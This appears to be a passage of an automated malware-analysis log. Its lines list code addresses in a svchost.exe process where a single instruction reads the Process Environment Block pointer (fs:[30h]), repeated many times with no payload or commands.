Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326C720 mov eax, dword ptr fs:[00000030h]	1_2_0326C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326273C mov eax, dword ptr fs:[00000030h]	1_2_0326273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326273C mov ecx, dword ptr fs:[00000030h]	1_2_0326273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326273C mov eax, dword ptr fs:[00000030h]	1_2_0326273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AC730 mov eax, dword ptr fs:[00000030h]	1_2_032AC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326C700 mov eax, dword ptr fs:[00000030h]	1_2_0326C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03230710 mov eax, dword ptr fs:[00000030h]	1_2_03230710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03260710 mov eax, dword ptr fs:[00000030h]	1_2_03260710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03238770 mov eax, dword ptr fs:[00000030h]	1_2_03238770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240770 mov eax, dword ptr fs:[00000030h]	1_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240770 mov eax, dword ptr fs:[00000030h]	1_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240770 mov eax, dword ptr fs:[00000030h]	1_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240770 mov eax, dword ptr fs:[00000030h]	1_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240770 mov eax, dword ptr fs:[00000030h]	1_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240770 mov eax, dword ptr fs:[00000030h]	1_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240770 mov eax, dword ptr fs:[00000030h]	1_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240770 mov eax, dword ptr fs:[00000030h]	1_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240770 mov eax, dword ptr fs:[00000030h]	1_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240770 mov eax, dword ptr fs:[00000030h]	1_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240770 mov eax, dword ptr fs:[00000030h]	1_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240770 mov eax, dword ptr fs:[00000030h]	1_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326674D mov esi, dword ptr fs:[00000030h]	1_2_0326674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326674D mov eax, dword ptr fs:[00000030h]	1_2_0326674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326674D mov eax, dword ptr fs:[00000030h]	1_2_0326674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03230750 mov eax, dword ptr fs:[00000030h]	1_2_03230750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032BE75D mov eax, dword ptr fs:[00000030h]	1_2_032BE75D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272750 mov eax, dword ptr fs:[00000030h]	1_2_03272750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272750 mov eax, dword ptr fs:[00000030h]	1_2_03272750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B4755 mov eax, dword ptr fs:[00000030h]	1_2_032B4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032307AF mov eax, dword ptr fs:[00000030h]	1_2_032307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E47A0 mov eax, dword ptr fs:[00000030h]	1_2_032E47A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D678E mov eax, dword ptr fs:[00000030h]	1_2_032D678E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032527ED mov eax, dword ptr fs:[00000030h]	1_2_032527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032527ED mov eax, dword ptr fs:[00000030h]	1_2_032527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032527ED mov eax, dword ptr fs:[00000030h]	1_2_032527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032BE7E1 mov eax, dword ptr fs:[00000030h]	1_2_032BE7E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032347FB mov eax, dword ptr fs:[00000030h]	1_2_032347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032347FB mov eax, dword ptr fs:[00000030h]	1_2_032347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323C7C0 mov eax, dword ptr fs:[00000030h]	1_2_0323C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B07C3 mov eax, dword ptr fs:[00000030h]	1_2_032B07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0324E627 mov eax, dword ptr fs:[00000030h]	1_2_0324E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03266620 mov eax, dword ptr fs:[00000030h]	1_2_03266620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03268620 mov eax, dword ptr fs:[00000030h]	1_2_03268620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323262C mov eax, dword ptr fs:[00000030h]	1_2_0323262C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AE609 mov eax, dword ptr fs:[00000030h]	1_2_032AE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0324260B mov eax, dword ptr fs:[00000030h]	1_2_0324260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0324260B mov eax, dword ptr fs:[00000030h]	1_2_0324260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0324260B mov eax, dword ptr fs:[00000030h]	1_2_0324260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0324260B mov eax, dword ptr fs:[00000030h]	1_2_0324260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0324260B mov eax, dword ptr fs:[00000030h]	1_2_0324260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0324260B mov eax, dword ptr fs:[00000030h]	1_2_0324260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0324260B mov eax, dword ptr fs:[00000030h]	1_2_0324260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272619 mov eax, dword ptr fs:[00000030h]	1_2_03272619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032F866E mov eax, dword ptr fs:[00000030h]	1_2_032F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032F866E mov eax, dword ptr fs:[00000030h]	1_2_032F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326A660 mov eax, dword ptr fs:[00000030h]	1_2_0326A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326A660 mov eax, dword ptr fs:[00000030h]	1_2_0326A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03262674 mov eax, dword ptr fs:[00000030h]	1_2_03262674
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0324C640 mov eax, dword ptr fs:[00000030h]	1_2_0324C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326C6A6 mov eax, dword ptr fs:[00000030h]	1_2_0326C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032666B0 mov eax, dword ptr fs:[00000030h]	1_2_032666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03234690 mov eax, dword ptr fs:[00000030h]	1_2_03234690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03234690 mov eax, dword ptr fs:[00000030h]	1_2_03234690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AE6F2 mov eax, dword ptr fs:[00000030h]	1_2_032AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AE6F2 mov eax, dword ptr fs:[00000030h]	1_2_032AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AE6F2 mov eax, dword ptr fs:[00000030h]	1_2_032AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AE6F2 mov eax, dword ptr fs:[00000030h]	1_2_032AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B06F1 mov eax, dword ptr fs:[00000030h]	1_2_032B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B06F1 mov eax, dword ptr fs:[00000030h]	1_2_032B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326A6C7 mov ebx, dword ptr fs:[00000030h]	1_2_0326A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326A6C7 mov eax, dword ptr fs:[00000030h]	1_2_0326A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240535 mov eax, dword ptr fs:[00000030h]	1_2_03240535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240535 mov eax, dword ptr fs:[00000030h]	1_2_03240535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240535 mov eax, dword ptr fs:[00000030h]	1_2_03240535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240535 mov eax, dword ptr fs:[00000030h]	1_2_03240535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240535 mov eax, dword ptr fs:[00000030h]	1_2_03240535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240535 mov eax, dword ptr fs:[00000030h]	1_2_03240535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325E53E mov eax, dword ptr fs:[00000030h]	1_2_0325E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325E53E mov eax, dword ptr fs:[00000030h]	1_2_0325E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325E53E mov eax, dword ptr fs:[00000030h]	1_2_0325E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325E53E mov eax, dword ptr fs:[00000030h]	1_2_0325E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325E53E mov eax, dword ptr fs:[00000030h]	1_2_0325E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C6500 mov eax, dword ptr fs:[00000030h]	1_2_032C6500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03304500 mov eax, dword ptr fs:[00000030h]	1_2_03304500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03304500 mov eax, dword ptr fs:[00000030h]	1_2_03304500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03304500 mov eax, dword ptr fs:[00000030h]	1_2_03304500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03304500 mov eax, dword ptr fs:[00000030h]	1_2_03304500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03304500 mov eax, dword ptr fs:[00000030h]	1_2_03304500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03304500 mov eax, dword ptr fs:[00000030h]	1_2_03304500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03304500 mov eax, dword ptr fs:[00000030h]	1_2_03304500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326656A mov eax, dword ptr fs:[00000030h]	1_2_0326656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326656A mov eax, dword ptr fs:[00000030h]	1_2_0326656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326656A mov eax, dword ptr fs:[00000030h]	1_2_0326656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03238550 mov eax, dword ptr fs:[00000030h]	1_2_03238550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03238550 mov eax, dword ptr fs:[00000030h]	1_2_03238550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B05A7 mov eax, dword ptr fs:[00000030h]	1_2_032B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B05A7 mov eax, dword ptr fs:[00000030h]	1_2_032B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B05A7 mov eax, dword ptr fs:[00000030h]	1_2_032B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032545B1 mov eax, dword ptr fs:[00000030h]	1_2_032545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032545B1 mov eax, dword ptr fs:[00000030h]	1_2_032545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03232582 mov eax, dword ptr fs:[00000030h]	1_2_03232582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03232582 mov ecx, dword ptr fs:[00000030h]	1_2_03232582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03264588 mov eax, dword ptr fs:[00000030h]	1_2_03264588
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326E59C mov eax, dword ptr fs:[00000030h]	1_2_0326E59C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0325E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0325E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0325E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0325E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0325E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0325E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0325E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0325E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032325E0 mov eax, dword ptr fs:[00000030h]	1_2_032325E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326C5ED mov eax, dword ptr fs:[00000030h]	1_2_0326C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326C5ED mov eax, dword ptr fs:[00000030h]	1_2_0326C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326E5CF mov eax, dword ptr fs:[00000030h]	1_2_0326E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326E5CF mov eax, dword ptr fs:[00000030h]	1_2_0326E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032365D0 mov eax, dword ptr fs:[00000030h]	1_2_032365D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326A5D0 mov eax, dword ptr fs:[00000030h]	1_2_0326A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326A5D0 mov eax, dword ptr fs:[00000030h]	1_2_0326A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322E420 mov eax, dword ptr fs:[00000030h]	1_2_0322E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322E420 mov eax, dword ptr fs:[00000030h]	1_2_0322E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322E420 mov eax, dword ptr fs:[00000030h]	1_2_0322E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322C427 mov eax, dword ptr fs:[00000030h]	1_2_0322C427
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B6420 mov eax, dword ptr fs:[00000030h]	1_2_032B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B6420 mov eax, dword ptr fs:[00000030h]	1_2_032B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B6420 mov eax, dword ptr fs:[00000030h]	1_2_032B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B6420 mov eax, dword ptr fs:[00000030h]	1_2_032B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B6420 mov eax, dword ptr fs:[00000030h]	1_2_032B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B6420 mov eax, dword ptr fs:[00000030h]	1_2_032B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B6420 mov eax, dword ptr fs:[00000030h]	1_2_032B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03268402 mov eax, dword ptr fs:[00000030h]	1_2_03268402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03268402 mov eax, dword ptr fs:[00000030h]	1_2_03268402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03268402 mov eax, dword ptr fs:[00000030h]	1_2_03268402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032BC460 mov ecx, dword ptr fs:[00000030h]	1_2_032BC460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325A470 mov eax, dword ptr fs:[00000030h]	1_2_0325A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325A470 mov eax, dword ptr fs:[00000030h]	1_2_0325A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325A470 mov eax, dword ptr fs:[00000030h]	1_2_0325A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326E443 mov eax, dword ptr fs:[00000030h]	1_2_0326E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326E443 mov eax, dword ptr fs:[00000030h]	1_2_0326E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326E443 mov eax, dword ptr fs:[00000030h]	1_2_0326E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326E443 mov eax, dword ptr fs:[00000030h]	1_2_0326E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326E443 mov eax, dword ptr fs:[00000030h]	1_2_0326E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326E443 mov eax, dword ptr fs:[00000030h]	1_2_0326E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326E443 mov eax, dword ptr fs:[00000030h]	1_2_0326E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326E443 mov eax, dword ptr fs:[00000030h]	1_2_0326E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032EA456 mov eax, dword ptr fs:[00000030h]	1_2_032EA456
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322645D mov eax, dword ptr fs:[00000030h]	1_2_0322645D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325245A mov eax, dword ptr fs:[00000030h]	1_2_0325245A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032364AB mov eax, dword ptr fs:[00000030h]	1_2_032364AB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032644B0 mov ecx, dword ptr fs:[00000030h]	1_2_032644B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032BA4B0 mov eax, dword ptr fs:[00000030h]	1_2_032BA4B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032EA49A mov eax, dword ptr fs:[00000030h]	1_2_032EA49A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032304E5 mov ecx, dword ptr fs:[00000030h]	1_2_032304E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325EB20 mov eax, dword ptr fs:[00000030h]	1_2_0325EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325EB20 mov eax, dword ptr fs:[00000030h]	1_2_0325EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032F8B28 mov eax, dword ptr fs:[00000030h]	1_2_032F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032F8B28 mov eax, dword ptr fs:[00000030h]	1_2_032F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03304B00 mov eax, dword ptr fs:[00000030h]	1_2_03304B00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AEB1D mov eax, dword ptr fs:[00000030h]	1_2_032AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AEB1D mov eax, dword ptr fs:[00000030h]	1_2_032AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AEB1D mov eax, dword ptr fs:[00000030h]	1_2_032AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AEB1D mov eax, dword ptr fs:[00000030h]	1_2_032AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AEB1D mov eax, dword ptr fs:[00000030h]	1_2_032AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AEB1D mov eax, dword ptr fs:[00000030h]	1_2_032AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AEB1D mov eax, dword ptr fs:[00000030h]	1_2_032AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AEB1D mov eax, dword ptr fs:[00000030h]	1_2_032AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AEB1D mov eax, dword ptr fs:[00000030h]	1_2_032AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322CB7E mov eax, dword ptr fs:[00000030h]	1_2_0322CB7E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E4B4B mov eax, dword ptr fs:[00000030h]	1_2_032E4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E4B4B mov eax, dword ptr fs:[00000030h]	1_2_032E4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03302B57 mov eax, dword ptr fs:[00000030h]	1_2_03302B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03302B57 mov eax, dword ptr fs:[00000030h]	1_2_03302B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03302B57 mov eax, dword ptr fs:[00000030h]	1_2_03302B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03302B57 mov eax, dword ptr fs:[00000030h]	1_2_03302B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C6B40 mov eax, dword ptr fs:[00000030h]	1_2_032C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C6B40 mov eax, dword ptr fs:[00000030h]	1_2_032C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032FAB40 mov eax, dword ptr fs:[00000030h]	1_2_032FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D8B42 mov eax, dword ptr fs:[00000030h]	1_2_032D8B42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03228B50 mov eax, dword ptr fs:[00000030h]	1_2_03228B50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DEB50 mov eax, dword ptr fs:[00000030h]	1_2_032DEB50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240BBE mov eax, dword ptr fs:[00000030h]	1_2_03240BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240BBE mov eax, dword ptr fs:[00000030h]	1_2_03240BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E4BB0 mov eax, dword ptr fs:[00000030h]	1_2_032E4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E4BB0 mov eax, dword ptr fs:[00000030h]	1_2_032E4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03238BF0 mov eax, dword ptr fs:[00000030h]	1_2_03238BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03238BF0 mov eax, dword ptr fs:[00000030h]	1_2_03238BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03238BF0 mov eax, dword ptr fs:[00000030h]	1_2_03238BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325EBFC mov eax, dword ptr fs:[00000030h]	1_2_0325EBFC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032BCBF0 mov eax, dword ptr fs:[00000030h]	1_2_032BCBF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03250BCB mov eax, dword ptr fs:[00000030h]	1_2_03250BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03250BCB mov eax, dword ptr fs:[00000030h]	1_2_03250BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03250BCB mov eax, dword ptr fs:[00000030h]	1_2_03250BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03230BCD mov eax, dword ptr fs:[00000030h]	1_2_03230BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03230BCD mov eax, dword ptr fs:[00000030h]	1_2_03230BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03230BCD mov eax, dword ptr fs:[00000030h]	1_2_03230BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DEBD0 mov eax, dword ptr fs:[00000030h]	1_2_032DEBD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326CA24 mov eax, dword ptr fs:[00000030h]	1_2_0326CA24
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325EA2E mov eax, dword ptr fs:[00000030h]	1_2_0325EA2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03254A35 mov eax, dword ptr fs:[00000030h]	1_2_03254A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03254A35 mov eax, dword ptr fs:[00000030h]	1_2_03254A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032BCA11 mov eax, dword ptr fs:[00000030h]	1_2_032BCA11
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326CA6F mov eax, dword ptr fs:[00000030h]	1_2_0326CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326CA6F mov eax, dword ptr fs:[00000030h]	1_2_0326CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326CA6F mov eax, dword ptr fs:[00000030h]	1_2_0326CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DEA60 mov eax, dword ptr fs:[00000030h]	1_2_032DEA60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032ACA72 mov eax, dword ptr fs:[00000030h]	1_2_032ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032ACA72 mov eax, dword ptr fs:[00000030h]	1_2_032ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03236A50 mov eax, dword ptr fs:[00000030h]	1_2_03236A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03236A50 mov eax, dword ptr fs:[00000030h]	1_2_03236A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03236A50 mov eax, dword ptr fs:[00000030h]	1_2_03236A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03236A50 mov eax, dword ptr fs:[00000030h]	1_2_03236A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03236A50 mov eax, dword ptr fs:[00000030h]	1_2_03236A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03236A50 mov eax, dword ptr fs:[00000030h]	1_2_03236A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03236A50 mov eax, dword ptr fs:[00000030h]	1_2_03236A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240A5B mov eax, dword ptr fs:[00000030h]	1_2_03240A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240A5B mov eax, dword ptr fs:[00000030h]	1_2_03240A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03238AA0 mov eax, dword ptr fs:[00000030h]	1_2_03238AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03238AA0 mov eax, dword ptr fs:[00000030h]	1_2_03238AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03286AA4 mov eax, dword ptr fs:[00000030h]	1_2_03286AA4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323EA80 mov eax, dword ptr fs:[00000030h]	1_2_0323EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323EA80 mov eax, dword ptr fs:[00000030h]	1_2_0323EA80
